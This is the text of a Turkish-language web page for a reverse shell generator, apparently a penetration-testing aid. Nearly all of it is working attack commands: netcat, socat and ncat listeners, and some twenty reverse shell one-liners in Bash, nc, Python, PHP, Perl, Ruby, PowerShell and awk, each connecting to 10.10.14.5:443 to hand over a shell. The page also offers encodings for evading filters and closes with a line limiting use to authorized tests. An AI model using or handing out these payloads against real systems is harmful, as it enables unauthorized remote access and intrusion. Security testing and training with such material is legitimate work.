Reverse Shell Generator
Değişkenleri gir; onlarca reverse shell payload’ı ve eşleşen dinleyici komutu tarayıcıda üretilsin. Kodlama seçenekleriyle (URL, base64, PowerShell -enc) filtre atlatma için hazırla.
Reverse Shell Generator
browser toollistener · netcat
nc -lvnp 443listener · netcat + rlwrap
rlwrap nc -lvnp 443listener · socat (TTY)
socat file:`tty`,raw,echo=0 TCP-L:443listener · ncat (TLS)
ncat --ssl -lvnp 443Bash -i
/bin/bash -i >& /dev/tcp/10.10.14.5/443 0>&1Bash 196
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; /bin/bash <&196 >&196 2>&196Bash read line
exec 5<>/dev/tcp/10.10.14.5/443;cat <&5 | while read line; do $line 2>&5 >&5; doneBash UDP
/bin/bash -i >& /dev/udp/10.10.14.5/443 0>&1nc mkfifo
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.5 443 >/tmp/fnc -e
nc 10.10.14.5 443 -e /bin/bashncat -e
ncat 10.10.14.5 443 -e /bin/bashncat mkfifo
ncat 10.10.14.5 443 --sh-exec /bin/bashsocat
socat TCP:10.10.14.5:443 EXEC:/bin/bash,pty,stderr,setsid,sigint,sanepython3
export RHOST="10.10.14.5";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'PHP
php -r '$sock=fsockopen("10.10.14.5",443);exec("/bin/bash <&3 >&3 2>&3");'Perl
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'Powershell #3 (Base64able)
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullTüm payload'lar tarayıcıda üretilir; hiçbir şey sunucuya gönderilmez. Yalnızca yetkili testlerde kullanın.